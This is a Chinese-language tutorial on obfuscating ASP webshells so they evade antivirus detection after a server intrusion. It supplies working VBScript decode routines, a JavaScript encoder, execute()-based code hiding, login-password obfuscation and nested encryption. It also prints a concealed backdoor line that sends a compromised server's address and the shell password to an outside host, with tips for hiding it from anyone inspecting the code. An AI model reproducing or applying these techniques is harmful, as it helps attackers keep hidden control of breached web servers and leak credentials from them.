加密免殺你asp馬
發(fā)表時間:2023-05-31 來源:明輝站整理相關軟件相關文章人氣:
[摘要]大家在入侵中應該是撿到過別人的Webshell吧?也許有的大馬功能很好, 于是你就用了, 但是你沒想過該馬可能有后門?現(xiàn)在很多的大馬都加密了, 打開時候一片亂碼, 是不是也想加密自己的大馬了, 加密...
大家在入侵中應該是撿到過別人的Webshell吧?也許有的大馬功能很好, 于是你就用了, 但是你沒想過該馬可能有后門?現(xiàn)在很多的大馬都加密了, 打開時候一片亂碼, 是不是也想加密自己的大馬了, 加密后的Webshell不僅可以防止別人撿我們的Shell用, 還能免殺webshell。 ASP木馬加密不難, 讓我們一起踏上大馬加密之旅。
一:人工加密
1.主加密函數(shù)的編寫
1)主解密與解密函數(shù)
對大馬的加密關鍵是編寫我們的加密函數(shù), 然后寫出相應的解密函數(shù)。 我這里先得對幾個ASP自帶函數(shù)有個了解
CHR:將ASCII 字碼轉換成字符
REPLACE:將一個字符串取代 部份字。
ASC:將字符串的第一字母轉換成 ANSI (美國國家標準符號)字碼。
Len:取得字符串的長度。
然后對IF語句和一些VBS函數(shù)相關知識有個了解。 大家有不懂可以查看Windows腳本技術, 里面比較詳細。
我們先看下一個最常用的解密函數(shù)吧。
dim ShiSan,ShiSanNewstr,ShiSanI
Function ShiSanFun(ShiSanObjstr)
ShiSanObjstr = Replace(ShiSanObjstr, "╁", """")
For ShiSanI = 1 To Len(ShiSanObjstr)
If Mid(ShiSanObjstr, ShiSanI, 1) <> "╋" Then
ShiSanNewStr = Mid(ShiSanObjstr, ShiSanI, 1) & ShiSanNewStr
Else
ShiSanNewStr = vbCrLf & ShiSanNewStr
End If
Next
ShiSanFun = ShiSanNewStr
End Function
這個解密函數(shù)就是將加密后的代碼解密。 他先將解密代碼(Str)中的╁換為引號("), 得到Str1,然后通過FOR循環(huán), 將加密部分(Str1)逐個取出, 將取出的字符倒敘連接成一個新字符, 并將╋換為vbcrlf(換行符)。 這個加密函數(shù)應用的相當廣泛, 就連華夏免殺Webshell也用了這個函數(shù)
好了。 知道加密的原理后我們就可以編寫自己的加密函數(shù)了。 ASP的加密函數(shù)只需要將上面的部分稍微改下, 但是需要可以執(zhí)行的環(huán)境(本地IIS或上傳到服務器)。 這里我給出了JS+HTML寫的加密網(wǎng)頁
---------->JS+HTML加密:
<html>
<script script="JavaScript">
function enCode(theText)
{
output=new String;
TextSize=theText.length;
for (i = 0; i < TextSize; i++)
{
if(theText.charCodeAt(i)=="13")
{
output="鵬"+output;
}
else if(theText.charCodeAt(i)=="10")
{
output+="";
}
else
{
output=theText.charAt(i)+output;
}
}
return output
}
</script>
<form name=encform />
<textarea name=box1 rows=16 cols=120></textarea>
<br />
<input type=button value="加密到下面文本框" /><br />
<textarea name=box2 rows=16 cols=120></textarea>
</form>
</form>
</html>
保存為html格式然后用IE打開, 將需要加密的部分填寫上, 然后點擊按鈕"加密到下面文本框" , 就可以得到加密后的字符串了。
上面的加密函數(shù)是enCode,他的作用是將ASP代碼(Code)中的換行換為鵬, 得到Code1, 然后將Code1倒序(13和10分別是回車和換行的編碼)。 比如:
Sub RRS(str)
response.write(str)
End Sub
加密后就為
buS dnE鵬)rts(etirw.esnopser 鵬)rts(SRR buS
寫了加密函數(shù)后就要寫出對于的解密函數(shù), 必須用ASP編寫
dim psEncode,psStr,psI
Function unCode(psEncode)
For psI=1 To Len(psEncode)
If Mid(psEncode,psI,1)<>"鵬" Then
psNewStr=Mid(psEncode,psI,1)&psNewStr
Else
psNewStr=vbCrlf&psNewStr
End If
Next
unCode=psNewStr
End Function
這樣我們就可以將ASP中的RRS函數(shù)用
execute(unCode("buS dnE鵬)rts(etirw.esnopser 鵬)rts(SRR buS"))
代替掉
Sub RRS(str)
response.write(str)
End Sub
我們可以利用這個加密函數(shù)加密多處, 這樣多加密一般可以免殺大馬
(2)加密解密函數(shù)
直接調用解密函數(shù), 很容易使自己的解密函數(shù)泄露, 我們可以利用一個函數(shù)來加密我們的加密函數(shù), 這樣就難找一點了, 這主要是為了保護我們的馬, 對于上面我們的解密函數(shù), 我們可以再寫一個加密函數(shù), 然后調用execute來, 這樣就可以隱藏我們的解密函數(shù)了。 這樣我們解密函數(shù)的源代碼就不會明文出現(xiàn)在webshell里了
(3)嵌套加密
我們可以在主加密函數(shù)里面嵌套次加密函數(shù), 不過這樣我們需要對應的寫出多個解密函數(shù), 這樣加密比較側地, 小破孩就馬就是采用這種加密方法。 由于方法相同, 我就不多啰嗦了, 大家有興趣可以自己去研究下幽月或小破孩的, 我這里有源碼, 想要的可以到我博客(hi.baidu.com/novaa)
2.密碼的加密
大家是否遇見過webshell的密碼是很長的數(shù)字, 20多位或30多位。 這就是對密碼加密了的, 通過對密碼加密, 可以防止別人通過查看我們的源代碼得到我們的密碼, 除非他完全解密了我們的webshell, 否則我們大馬就是安全的。 這里看一個對密碼加密的函數(shù)。
Function enPass(psStr,Pos)
Dim i,psNewStr
For i = 1 To Len(psStr)
psNewStr= psNewStr& Asc(Mid(psStr, i, 1))+Pos & (20080808-Pos)
Next
enPass =psNewStr
End Function
上面的這個加密函數(shù)是對每一位密碼的數(shù)字取ascii碼, 然后加上Pos & (20080808-Pos)&i, 這里注意&是連接字符, 比如n&ov&aa結果是novaa
然后我們把解密后的部分定義為UserPass
然后在驗證的地方通過
enPass(request.form("pass"),pn)=UserPass 來進行身份驗證, 當然, 通過修改密碼的驗證方式可以輕松的修改密碼, 但是前提是你已經(jīng)完全解密了這個webshell了。
3.后門的隱藏技術
怎么隱藏后門?其實主要就利用ASP的自帶函數(shù)和一些其他技巧, 這里我以破小孩后門來解釋
RRS"<DIV style=""CURSOR:url('http://"&chr(37)&"77"&chr(37)&"2E%31"&chr(39-pos)&""&(4+pos)&"c%6c"&chr(37)&"34%2E"&chr(37)&"63%6f"&chr(37)&"6d/%"&(36+pos)&"%2f?%75="&Serveru&"&%70="&UserPass&"')"">"
這個和幽月的后門隱藏技術差不多, 都是利用了ASCII編碼和HTML編碼, CHR(37)是"/",我們把它還原就是
http://w.1ll4.com/8/?u="&Serveru&"&p="&UserPass&"
這里我們可以做的更隱蔽些。
1.我們查找后門的時候一般是利用查找有UserPass的地方, 因此, 我們可以利用enPass(request.form("pass"),pn)賦值給另一個變量canyou, 然后把&p="&UserPass&"換為&p="&canyou&"
2.我們可以利用webshell里面自帶的常量來代替http, 以為http也是經(jīng)常用來找后門的地方, 比如Sot(13,0) = "Microsoft.XMLHTTP"這里就有HTTP, 我們利用Right函數(shù)來取得Sot(13,0) 右邊的4個字符, 然后代替后門中的HTTP
二:工具加密
利用微軟的腳本加密工具screnc.exe對我們初步加密的webshell進行再次的加密, 這樣我們的webshell就完全成了一堆亂碼了
有了上面的加密知識, 相信大家很快可以掌握ASP的解密, 方法都是一樣的, 然后大家就可以玩玩除后門了
、
上面是電腦上網(wǎng)安全的一些基礎常識,學習了安全知識,幾乎可以讓你免費電腦中毒的煩擾。